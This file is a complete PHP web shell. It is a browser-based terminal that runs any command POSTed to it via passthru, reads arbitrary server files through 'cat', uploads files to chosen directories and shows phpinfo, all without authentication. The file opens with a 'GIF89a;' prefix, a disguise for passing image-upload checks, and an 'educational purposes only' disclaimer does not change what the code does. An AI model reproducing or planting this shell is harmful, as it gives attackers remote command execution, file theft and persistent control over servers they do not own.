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GIF89a; <?PHP
/*
Created by Logan Rickert. GitHub: https://github.com/LoganRickert/PHP-Web-Shell-Terminal
This script is for educational purposes only. NEVER upload this script to a server that you
do not explicity own. YOU are responsible for anything you do with this script.
You are free to use, share, and expand this script to your heart's content, as long as it is
for legal use and you give credit in some way. You are not allowed to use this script to attack
others.
*/
if (isset($_POST['command'])) {
if (explode(" ", $_POST['command'])[0] == "upload") {
$uploadfile = explode(" ", $_POST['command'])[1] . basename($_FILES['userfile']['name']);
echo "<span style=\"color: white\">";
if (move_uploaded_file($_FILES['userfile']['tmp_name'], $uploadfile)) {
echo "File was successfully uploaded to " . explode(" ", $_POST['command'])[1] . basename($_FILES['userfile']['name']) . ".";
} else {
echo "File failed to upload to " . explode(" ", $_POST['command'])[1] . basename($_FILES['userfile']['name']) . ".";
}
echo "</span><p>";
exit;
} else {
if (!isset($_POST['noprompt'])) {
echo "<span style=\"color: white\">" . exec("whoami") . ':' . exec("pwd") . '$</span> ' . htmlspecialchars($_POST['command']) . '<p>';
}
echo htmlspecialchars(passthru($_POST['command'] . ' 2>&1'));
exit;
}
} else if (isset($_REQUEST['file'])) {
if ($_REQUEST['file'] == '/phpinfo') {
echo phpinfo();
}
header("Content-Type:text/plain");
echo htmlspecialchars(passthru('cat ' . $_REQUEST['file'] . ' 2>&1'));
exit;
}
?>
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8" />
<title>Terminal</title>
<script src="http://code.jquery.com/jquery-1.11.3.min.js"></script>
<link rel="stylesheet" type="text/css" href="http://meyerweb.com/eric/tools/css/reset/reset.css">
<style type="text/css">
header, section, footer, aside, nav, article, figure, audio, video, canvas { display:block; }
body {
background: #333;
}
#wrapper {
width: 800px;
margin: 0 auto;
padding: 20px 0;
}
legend {
padding: 0 0 20px 0;
color: #CCC;
font-size: 20px;
text-align: center;
}
fieldset {
background: black;
}
#terminal-wrapper {
height: 400px;
position: relative;
overflow-x: hidden;
}
#terminal {
color: #2ecc71;
font-weight: bold;
width: 800px;
display: block;
unicode-bidi: embed;
font-family: monospace;
white-space: pre;
line-height: 150%;
background: black;
padding: 10px;
position: absolute;
bottom: 0;
}
#input {
border: none;
padding: 10px;
color: #2ecc71;
width: 740px;
font-size: 16px;
background: black;
outline: none;
}
#label {
color: #2ecc71;
float: left;
padding: 13px 0 10px 10px;
}
#upload-file {
padding: 10px;
color: white;
width: 800px;
}
</style>
</head>
<body>
<div id="wrapper">
<header>
</header>
<nav>
</nav>
<section id="content">
<form enctype="multipart/form-data" method="POST">
<legend>PHP Terminal</legend>
<fieldset>
<div id="terminal-wrapper"><p id="terminal">
===================================================================================
<span style="color: white;">Welcome to the PHP terminal!</span>
<span style="color: white;">The following are custom commands:</span>
<span style="color: white;">history</span> - Displays commands executed.
<span style="color: white;">clear</span> - Clears the console.
<span style="color: white;">help</span> - Displays this message.
<span style="color: white;">open <file></span> - Opens file in new window. Displayed as plain text.
<span style="color: white;">open /phpinfo</span> - Displays phpinfo() instead of file in new window.
<span style="color: white;">upload <dir></span> - Uploads attached file to directory. Ex: upload /tmp/
<span style="color: white;">less <command></span> - q to quit, space to page down. Ex: less cat index.php
<span style="color: white;">lessl <command></span> - less with line numbers. Ex: lessl cat index.php
===================================================================================
</p></div>
<p id="label" for="input"> > </p>
<input type="text" id="input" name="command" autocomplete="off">
<input name="userfile" id="upload-file" type="file">
</fieldset>
</form>
</section>
<footer>
</footer>
</div>
<script>
// Set cursor on into input.
$("#input").focus();
// Keep track of commands
ran_commands = [];
var current_command = -1;
// For less
var lessActive = false;
var lessl = false
var topCount = 0;
var bottomCount = 20;
var lessOutput = ""
var lessLines = ""
var lessOldTerminal = ""
// Displays the initial #terminal text.
var help = $("#terminal").html()
// Run this when you press enter
$("form").submit(function(event) {
event.preventDefault();
ran_commands.push($("#input").val())
current_command = ran_commands.length - 1;
if ($("#input").val().split(' ')[0] === "less" || $("#input").val().split(' ')[0] === "lessl" ) {
lessOutput = ""
lessOldTerminal = $("#terminal").html()
lessActive = true;
if ($("#input").val().split(' ')[0] === "lessl") {
lessl = true;
} else {
lessl = false;
}
$("#input").val($("#input").val().substring($("#input").val().indexOf(" ") + 1));
$.ajax({
type: "POST",
url: '<?PHP echo 'http://' . $_SERVER['SERVER_NAME'] . $_SERVER['REQUEST_URI']; ?>',
data: $("#input").serialize() + '&noprompt=1',
success: function(data) {
$("#input").val();
lessOutput = data
lessLines = lessOutput.split("\n");
$("#label").html(" : ")
topCount = 0;
bottomCount = 20;
lessDisplay()
}
});
} else if ($("#input").val().split(' ')[0] === "upload") {
$.ajax({
type: "POST",
url: '<?PHP echo 'http://' . $_SERVER['SERVER_NAME'] . $_SERVER['REQUEST_URI']; ?>',
data: new FormData($('form')[0]),
cache: false,
contentType: false,
processData: false,
success: function(data) {
$("#input").val("");
$("#upload-file").val("");
append(data);
}
});
} else if ($("#input").val().split(' ')[0] === "open") {
var win = window.open(
'<?PHP echo 'http://' . $_SERVER['SERVER_NAME'] . $_SERVER['REQUEST_URI']; ?>?file=' + $("#input").val().split(' ')[1],
'_blank'
);
if(win){
//Browser has allowed it to be opened
win.focus();
}
$("#input").val("");
} else if ($("#input").val() === "help") {
$("#input").val("");
append(help);
} else if ($("#input").val() === "history") {
$("#input").val("");
append("<span style=\"color: white\">Command history:</span> " + ran_commands.join(', ') + "<p>");
} else if ($("#input").val() === "clear") {
$("#terminal").html("");
$("#input").val("");
} else {
$.ajax({
type: "POST",
url: '<?PHP echo 'http://' . $_SERVER['SERVER_NAME'] . $_SERVER['REQUEST_URI']; ?>',
data: $("#input").serialize(),
success: function(data) {
$("#input").val("");
append(data);
}
});
}
});
function lessDisplay() {
$("#terminal").html('');
for (i = topCount; i < lessLines.length && i < bottomCount; i++) {
if (lessl) {
$("#terminal").append("<span style=\"color: white;\">" + pad(i + 1, lessLines.length.toString().length) + '.</span> ');
}
$("#terminal").append(escapeHtml(lessLines[i]) + '\n')
}
}
function append(text) {
var lines = text.split("\n");
var time = 0;
$(lines).each(function(i) {
setTimeout(function(){
$("#terminal").append(lines[i] + '\n');
}, time);
time += 20;
});
}
function pad (str, max) {
str = str.toString();
return str.length < max ? pad(" " + str, max) : str;
}
document.onkeydown = checkKey;
function checkKey(e) {
e = e || window.event;
// Key up
if (e.keyCode == '38') {
if (lessActive) {
e.preventDefault()
if (topCount > -1) {
lessDisplay()
topCount--;
bottomCount--;
}
} else {
if (current_command > -1) {
$("#input").val(ran_commands[current_command])
current_command--;
}
}
// Key down
} else if (e.keyCode == '40') {
if (lessActive) {
e.preventDefault()
if (topCount < lessLines.length - 21) {
topCount++;
bottomCount++;
lessDisplay()
}
} else {
if (current_command < ran_commands.length) {
current_command++;
$("#input").val(ran_commands[current_command])
}
}
// Key Q
} else if (e.keyCode == '81') {
if (lessActive) {
e.preventDefault()
lessActive = false;
$("#input").val('');
$("#label").html(" > ")
$("#terminal").html(lessOldTerminal);
}
// Key space
} else if (e.keyCode == '32') {
if (lessActive) {
e.preventDefault()
if (topCount < lessLines.length - 41) {
topCount += 20;
bottomCount += 20;
lessDisplay()
} else if (topCount < lessLines.length - 21) {
topCount = lessLines.length - 21;
bottomCount = lessLines.length - 1;
lessDisplay()
}
}
}
}
// Run this on initial load of the page.
$.ajax({
type: "POST",
url: '<?PHP echo 'http://' . $_SERVER['SERVER_NAME'] . $_SERVER['REQUEST_URI']; ?>',
data: 'command=whoami',
success: function(data) {
$("#input").val("");
append(data);
}
});
var entityMap = {
"&": "&",
"<": "<",
">": ">",
'"': '"',
"'": ''',
"/": '/'
};
function escapeHtml(string) {
return String(string).replace(/[&<>"'\/]/g, function (s) {
return entityMap[s];
});
}
</script>
</body>
</html>
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